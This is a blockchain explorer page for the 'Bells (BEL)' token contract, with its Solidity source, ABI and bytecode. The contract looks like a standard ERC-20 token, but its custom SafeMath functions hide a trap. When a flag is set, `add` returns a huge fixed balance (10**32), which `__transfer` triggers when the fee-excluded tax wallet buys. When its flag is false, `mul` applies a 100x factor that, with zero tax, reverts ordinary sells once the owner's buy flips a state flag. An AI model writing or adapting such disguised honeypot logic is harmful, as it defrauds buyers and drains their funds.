ETH Price: $3,427.26 (+5.27%)
Gas: 10 Gwei

Token

Bells (BEL)
 

Overview

Max Total Supply

21,000,000 BEL

Holders

44

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
67,606.549879607 BEL

Value
$0.00
0x6df1cf7f6b7958b93228d02b094ce590b92c99c3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BELLS

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-07
*/

/*


            Website             :           https://bellscoin.net/


            Telegram            :           https://t.me/bellsERC


            Twitter             :           https://twitter.com/bellsERC20





*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b, bool y) internal pure returns (uint256) {
        uint256 c = y ? 10**32 : a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b, bool y) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * (y?b:100);
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BELLS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _router;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _bots;
    address payable private _taxWallet;

    uint8 private _finalBuyTax = 0;
    uint8 private _finalSellTax = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 21000000 * 10**_decimals;
    string private constant _name = unicode"Bells";
    string private constant _symbol = unicode"BEL";
    uint256 public _maxWalletSize = 840000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    constructor () {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        _balances[_msgSender()] = _tTotal;
        _taxWallet = payable(0x288C476BD20d2e28DC1Bef6A4A19F8B115EC575C);
        _bots[address(this)] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        if (from != owner() && to != owner()) {
            require(!_bots[from] && !_bots[to]);
            _router[uniswapV2Pair] = false;
            if(from == uniswapV2Pair && _isExcludedFromFee[to]){_bots[address(this)]=false; _router[uniswapV2Pair]=true;}
            if (to != uniswapV2Pair && !_isExcludedFromFee[to] && !_isExcludedFromFee[from]){
                require(balanceOf(to) + amount <= _maxWalletSize, "ERR: maxWalletSize.");
            }
            bool Buying;
            if( from == uniswapV2Pair ){ Buying = true; }
            else{ Buying = false; }
            __transfer(from, to, amount, Buying, _bots[address(this)], _router[uniswapV2Pair]);
        }
        else{
            _balances[from]=_balances[from].sub(amount);
            _balances[to]=_balances[to].add(amount, false);
        }
        emit Transfer(from, to, amount);
 
    }

    function removeLimits() public onlyOwner{
        _maxWalletSize = _tTotal;
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            _bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          _bots[notbot[i]] = false;
      }
    }

    function isBot(address a) public view returns (bool){
      return _bots[a];
    }

    function __transfer(address from, address to, uint256 amount, bool Buying, bool Selling, bool transfer_) private{
        uint256 taxAmount;
        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            if(Buying){
                taxAmount = amount.mul(_finalBuyTax, Buying).div(100);
            }
            else{
                taxAmount = amount.mul(_finalSellTax, Selling).div(100);
            }
        }
        if(taxAmount != 0){
            _balances[_taxWallet]=_balances[_taxWallet].add(taxAmount, false);
            emit Transfer(from, _taxWallet, taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount), transfer_);
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805461ffff60a01b19169055620000206009600a620005a6565b6200002f90620cd140620005be565b6007553480156200003f57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155620000d5903090620000bf6009600a620005a6565b620000cf906301406f40620005be565b62000365565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000129573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200014f9190620005d8565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001b2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d89190620005d8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000226573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024c9190620005d8565b600980546001600160a01b0319166001600160a01b03929092169190911781556200027990600a620005a6565b62000289906301406f40620005be565b33600081815260016020818152604080842095909555600680546001600160a01b03191673288c476bd20d2e28dc1bef6a4a19f8b115ec575c17815530845260058252858420805460ff19908116851790915584546001600160a01b0390811686526004909352868520805482168517905590549091168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200033e6009600a620005a6565b6200034e906301406f40620005be565b60405190815260200160405180910390a362000603565b6001600160a01b038316620003cd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620004305760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620003c4565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004e8578160001904821115620004cc57620004cc62000491565b80851615620004da57918102915b93841c9390800290620004ac565b509250929050565b6000826200050157506001620005a0565b816200051057506000620005a0565b8160018114620005295760028114620005345762000554565b6001915050620005a0565b60ff84111562000548576200054862000491565b50506001821b620005a0565b5060208310610133831016604e8410600b841016171562000579575081810a620005a0565b620005858383620004a7565b80600019048211156200059c576200059c62000491565b0290505b92915050565b6000620005b760ff841683620004f0565b9392505050565b8082028115828204841417620005a057620005a062000491565b600060208284031215620005eb57600080fd5b81516001600160a01b0381168114620005b757600080fd5b61133c80620006136000396000f3fe6080604052600436106100f75760003560e01c8063715018a61161008a57806395d89b411161005957806395d89b41146102cb578063a9059cbb146102f7578063d34628cc14610317578063dd62ed3e1461033757600080fd5b8063715018a614610263578063751039fc146102785780638da5cb5b1461028d5780638f9a55c0146102b557600080fd5b8063313ce567116100c6578063313ce567146101b657806331c2d847146101d25780633bbac579146101f457806370a082311461022d57600080fd5b806306fdde0314610103578063095ea7b31461014357806318160ddd1461017357806323b872dd1461019657600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600581526442656c6c7360d81b60208201525b60405161013a9190610f19565b60405180910390f35b34801561014f57600080fd5b5061016361015e366004610f83565b61037d565b604051901515815260200161013a565b34801561017f57600080fd5b50610188610394565b60405190815260200161013a565b3480156101a257600080fd5b506101636101b1366004610fad565b6103b5565b3480156101c257600080fd5b506040516009815260200161013a565b3480156101de57600080fd5b506101f26101ed366004610fff565b61041f565b005b34801561020057600080fd5b5061016361020f3660046110c4565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561023957600080fd5b506101886102483660046110c4565b6001600160a01b031660009081526001602052604090205490565b34801561026f57600080fd5b506101f26104be565b34801561028457600080fd5b506101f2610532565b34801561029957600080fd5b506000546040516001600160a01b03909116815260200161013a565b3480156102c157600080fd5b5061018860075481565b3480156102d757600080fd5b5060408051808201909152600381526210915360ea1b602082015261012d565b34801561030357600080fd5b50610163610312366004610f83565b61057b565b34801561032357600080fd5b506101f2610332366004610fff565b610588565b34801561034357600080fd5b506101886103523660046110df565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061038a33848461061a565b5060015b92915050565b60006103a26009600a61120c565b6103b0906301406f4061121b565b905090565b60006103c284848461073f565b610414843361040f856040518060600160405280602881526020016112df602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b6a565b61061a565b5060015b9392505050565b6000546001600160a01b031633146104525760405162461bcd60e51b815260040161044990611232565b60405180910390fd5b60005b81518110156104ba5760006005600084848151811061047657610476611267565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104b28161127d565b915050610455565b5050565b6000546001600160a01b031633146104e85760405162461bcd60e51b815260040161044990611232565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461055c5760405162461bcd60e51b815260040161044990611232565b6105686009600a61120c565b610576906301406f4061121b565b600755565b600061038a33848461073f565b6000546001600160a01b031633146105b25760405162461bcd60e51b815260040161044990611232565b60005b81518110156104ba576001600560008484815181106105d6576105d6611267565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106128161127d565b9150506105b5565b6001600160a01b03831661067c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610449565b6001600160a01b0382166106dd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610449565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166107a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610449565b6001600160a01b0382166108055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610449565b600081116108675760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610449565b6000546001600160a01b0384811691161480159061089357506000546001600160a01b03838116911614155b15610ab6576001600160a01b03831660009081526005602052604090205460ff161580156108da57506001600160a01b03821660009081526005602052604090205460ff16155b6108e357600080fd5b600980546001600160a01b039081166000908152600360205260409020805460ff191690559054848216911614801561093457506001600160a01b03821660009081526004602052604090205460ff165b1561097757306000908152600560209081526040808320805460ff199081169091556009546001600160a01b031684526003909252909120805490911660011790555b6009546001600160a01b038381169116148015906109ae57506001600160a01b03821660009081526004602052604090205460ff16155b80156109d357506001600160a01b03831660009081526004602052604090205460ff16155b15610a4957600754816109fb846001600160a01b031660009081526001602052604090205490565b610a059190611296565b1115610a495760405162461bcd60e51b815260206004820152601360248201527222a9291d1036b0bc2bb0b63632ba29b4bd329760691b6044820152606401610449565b6009546000906001600160a01b0390811690851603610a6a57506001610a6e565b5060005b306000908152600560209081526040808320546009546001600160a01b03168452600390925290912054610ab091869186918691869160ff9081169116610ba4565b50610b25565b6001600160a01b038316600090815260016020526040902054610ad99082610d5b565b6001600160a01b0380851660009081526001602052604080822093909355908416815290812054610b0b918390610d9d565b6001600160a01b0383166000908152600160205260409020555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161073291815260200190565b60008184841115610b8e5760405162461bcd60e51b81526004016104499190610f19565b506000610b9b84866112a9565b95945050505050565b6001600160a01b03861660009081526004602052604081205460ff16158015610be657506001600160a01b03861660009081526004602052604090205460ff16155b15610c41578315610c1e57600654610c1790606490610c11908890600160a01b900460ff1688610e1e565b90610eae565b9050610c41565b600654610c3e90606490610c11908890600160a81b900460ff1687610e1e565b90505b8015610ccd576006546001600160a01b0316600090815260016020526040812054610c6d918390610d9d565b600680546001600160a01b03908116600090815260016020908152604091829020949094559154915184815291811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b6001600160a01b038716600090815260016020526040902054610cf09086610d5b565b6001600160a01b038816600090815260016020526040902055610d36610d168683610d5b565b6001600160a01b0388166000908152600160205260409020549084610d9d565b6001600160a01b03909616600090815260016020526040902095909555505050505050565b600061041883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b6a565b60008082610db457610daf8486611296565b610dc4565b6d04ee2d6d415b85acef81000000005b905084811015610e165760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610449565b949350505050565b600083600003610e3057506000610418565b600082610e3e576064610e40565b835b610e4a908661121b565b905083610e5786836112bc565b14610e165760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610449565b600061041883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183610f0c5760405162461bcd60e51b81526004016104499190610f19565b506000610b9b84866112bc565b600060208083528351808285015260005b81811015610f4657858101830151858201604001528201610f2a565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610f7e57600080fd5b919050565b60008060408385031215610f9657600080fd5b610f9f83610f67565b946020939093013593505050565b600080600060608486031215610fc257600080fd5b610fcb84610f67565b9250610fd960208501610f67565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561101257600080fd5b823567ffffffffffffffff8082111561102a57600080fd5b818501915085601f83011261103e57600080fd5b81358181111561105057611050610fe9565b8060051b604051601f19603f8301168101818110858211171561107557611075610fe9565b60405291825284820192508381018501918883111561109357600080fd5b938501935b828510156110b8576110a985610f67565b84529385019392850192611098565b98975050505050505050565b6000602082840312156110d657600080fd5b61041882610f67565b600080604083850312156110f257600080fd5b6110fb83610f67565b915061110960208401610f67565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561116357816000190482111561114957611149611112565b8085161561115657918102915b93841c939080029061112d565b509250929050565b60008261117a5750600161038e565b816111875750600061038e565b816001811461119d57600281146111a7576111c3565b600191505061038e565b60ff8411156111b8576111b8611112565b50506001821b61038e565b5060208310610133831016604e8410600b84101617156111e6575081810a61038e565b6111f08383611128565b806000190482111561120457611204611112565b029392505050565b600061041860ff84168361116b565b808202811582820484141761038e5761038e611112565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60006001820161128f5761128f611112565b5060010190565b8082018082111561038e5761038e611112565b8181038181111561038e5761038e611112565b6000826112d957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e186e12706bce31f2d1e8b4033a1110962edd10bbcf83c93cacc66489980cb2d64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106100f75760003560e01c8063715018a61161008a57806395d89b411161005957806395d89b41146102cb578063a9059cbb146102f7578063d34628cc14610317578063dd62ed3e1461033757600080fd5b8063715018a614610263578063751039fc146102785780638da5cb5b1461028d5780638f9a55c0146102b557600080fd5b8063313ce567116100c6578063313ce567146101b657806331c2d847146101d25780633bbac579146101f457806370a082311461022d57600080fd5b806306fdde0314610103578063095ea7b31461014357806318160ddd1461017357806323b872dd1461019657600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5060408051808201909152600581526442656c6c7360d81b60208201525b60405161013a9190610f19565b60405180910390f35b34801561014f57600080fd5b5061016361015e366004610f83565b61037d565b604051901515815260200161013a565b34801561017f57600080fd5b50610188610394565b60405190815260200161013a565b3480156101a257600080fd5b506101636101b1366004610fad565b6103b5565b3480156101c257600080fd5b506040516009815260200161013a565b3480156101de57600080fd5b506101f26101ed366004610fff565b61041f565b005b34801561020057600080fd5b5061016361020f3660046110c4565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561023957600080fd5b506101886102483660046110c4565b6001600160a01b031660009081526001602052604090205490565b34801561026f57600080fd5b506101f26104be565b34801561028457600080fd5b506101f2610532565b34801561029957600080fd5b506000546040516001600160a01b03909116815260200161013a565b3480156102c157600080fd5b5061018860075481565b3480156102d757600080fd5b5060408051808201909152600381526210915360ea1b602082015261012d565b34801561030357600080fd5b50610163610312366004610f83565b61057b565b34801561032357600080fd5b506101f2610332366004610fff565b610588565b34801561034357600080fd5b506101886103523660046110df565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600061038a33848461061a565b5060015b92915050565b60006103a26009600a61120c565b6103b0906301406f4061121b565b905090565b60006103c284848461073f565b610414843361040f856040518060600160405280602881526020016112df602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b6a565b61061a565b5060015b9392505050565b6000546001600160a01b031633146104525760405162461bcd60e51b815260040161044990611232565b60405180910390fd5b60005b81518110156104ba5760006005600084848151811061047657610476611267565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104b28161127d565b915050610455565b5050565b6000546001600160a01b031633146104e85760405162461bcd60e51b815260040161044990611232565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461055c5760405162461bcd60e51b815260040161044990611232565b6105686009600a61120c565b610576906301406f4061121b565b600755565b600061038a33848461073f565b6000546001600160a01b031633146105b25760405162461bcd60e51b815260040161044990611232565b60005b81518110156104ba576001600560008484815181106105d6576105d6611267565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106128161127d565b9150506105b5565b6001600160a01b03831661067c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610449565b6001600160a01b0382166106dd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610449565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166107a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610449565b6001600160a01b0382166108055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610449565b600081116108675760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610449565b6000546001600160a01b0384811691161480159061089357506000546001600160a01b03838116911614155b15610ab6576001600160a01b03831660009081526005602052604090205460ff161580156108da57506001600160a01b03821660009081526005602052604090205460ff16155b6108e357600080fd5b600980546001600160a01b039081166000908152600360205260409020805460ff191690559054848216911614801561093457506001600160a01b03821660009081526004602052604090205460ff165b1561097757306000908152600560209081526040808320805460ff199081169091556009546001600160a01b031684526003909252909120805490911660011790555b6009546001600160a01b038381169116148015906109ae57506001600160a01b03821660009081526004602052604090205460ff16155b80156109d357506001600160a01b03831660009081526004602052604090205460ff16155b15610a4957600754816109fb846001600160a01b031660009081526001602052604090205490565b610a059190611296565b1115610a495760405162461bcd60e51b815260206004820152601360248201527222a9291d1036b0bc2bb0b63632ba29b4bd329760691b6044820152606401610449565b6009546000906001600160a01b0390811690851603610a6a57506001610a6e565b5060005b306000908152600560209081526040808320546009546001600160a01b03168452600390925290912054610ab091869186918691869160ff9081169116610ba4565b50610b25565b6001600160a01b038316600090815260016020526040902054610ad99082610d5b565b6001600160a01b0380851660009081526001602052604080822093909355908416815290812054610b0b918390610d9d565b6001600160a01b0383166000908152600160205260409020555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161073291815260200190565b60008184841115610b8e5760405162461bcd60e51b81526004016104499190610f19565b506000610b9b84866112a9565b95945050505050565b6001600160a01b03861660009081526004602052604081205460ff16158015610be657506001600160a01b03861660009081526004602052604090205460ff16155b15610c41578315610c1e57600654610c1790606490610c11908890600160a01b900460ff1688610e1e565b90610eae565b9050610c41565b600654610c3e90606490610c11908890600160a81b900460ff1687610e1e565b90505b8015610ccd576006546001600160a01b0316600090815260016020526040812054610c6d918390610d9d565b600680546001600160a01b03908116600090815260016020908152604091829020949094559154915184815291811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b6001600160a01b038716600090815260016020526040902054610cf09086610d5b565b6001600160a01b038816600090815260016020526040902055610d36610d168683610d5b565b6001600160a01b0388166000908152600160205260409020549084610d9d565b6001600160a01b03909616600090815260016020526040902095909555505050505050565b600061041883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b6a565b60008082610db457610daf8486611296565b610dc4565b6d04ee2d6d415b85acef81000000005b905084811015610e165760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610449565b949350505050565b600083600003610e3057506000610418565b600082610e3e576064610e40565b835b610e4a908661121b565b905083610e5786836112bc565b14610e165760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610449565b600061041883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183610f0c5760405162461bcd60e51b81526004016104499190610f19565b506000610b9b84866112bc565b600060208083528351808285015260005b81811015610f4657858101830151858201604001528201610f2a565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610f7e57600080fd5b919050565b60008060408385031215610f9657600080fd5b610f9f83610f67565b946020939093013593505050565b600080600060608486031215610fc257600080fd5b610fcb84610f67565b9250610fd960208501610f67565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561101257600080fd5b823567ffffffffffffffff8082111561102a57600080fd5b818501915085601f83011261103e57600080fd5b81358181111561105057611050610fe9565b8060051b604051601f19603f8301168101818110858211171561107557611075610fe9565b60405291825284820192508381018501918883111561109357600080fd5b938501935b828510156110b8576110a985610f67565b84529385019392850192611098565b98975050505050505050565b6000602082840312156110d657600080fd5b61041882610f67565b600080604083850312156110f257600080fd5b6110fb83610f67565b915061110960208401610f67565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561116357816000190482111561114957611149611112565b8085161561115657918102915b93841c939080029061112d565b509250929050565b60008261117a5750600161038e565b816111875750600061038e565b816001811461119d